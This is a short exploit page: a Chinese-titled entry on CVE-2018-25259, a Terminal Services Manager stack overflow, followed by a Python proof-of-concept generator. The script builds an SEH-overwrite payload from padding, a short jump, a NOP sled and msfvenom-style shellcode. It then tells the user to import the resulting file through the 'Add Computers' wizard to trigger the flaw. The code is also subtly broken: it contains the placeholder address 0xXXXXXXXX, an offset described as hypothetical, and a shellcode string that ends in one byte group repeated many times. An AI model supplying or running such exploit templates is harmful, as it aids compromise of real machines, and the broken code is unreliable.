CVE-2018-25259 Terminal Services Manager栈溢出漏洞

# PoC Generator for CVE-2018-25259 import struct def create_exploit_file(): # Offset to overwrite SEH handler (hypothetical value for demonstration) offset = 4104 # Address for POP POP RET (to bypass SEH) # Replace 0xXXXXXXXX with a valid address from a non-ASLR module seh_address = struct.pack('<L', 0xXXXXXXXX) # Next SEH: Jump back 6 bytes into the NOP sled next_seh = b'\xEB\x06\x90\x90' # NOP sled for landing stability nop_sled = b'\x90' * 32 # Shellcode: Example to execute calc.exe # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d' -f python shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x33\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xd4\x98\x7f\xe4\x85\xe4\x21\xe6\xaf\x44\xf1\x3e\x52\x71\x09\x13\x88\xbb\xe0\xe2\xe2\xe4\x8d\x24\x2d\x6c\x8f\xa7\x8b\x3c\x05\x6e\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65" # Construct the payload # Junk data + Next SEH + SEH Address + NOPs + Shellcode payload = b'A' * offset + next_seh + seh_address + nop_sled + shellcode # Write payload to file with open('cve_2018_25259_poc.txt', 'wb') as f: f.write(payload) print("[+] Malicious file generated: cve_2018_25259_poc.txt") print("[+] Import this file via the 'Add Computers' wizard to trigger the vulnerability.") if __name__ == "__main__": create_exploit_file()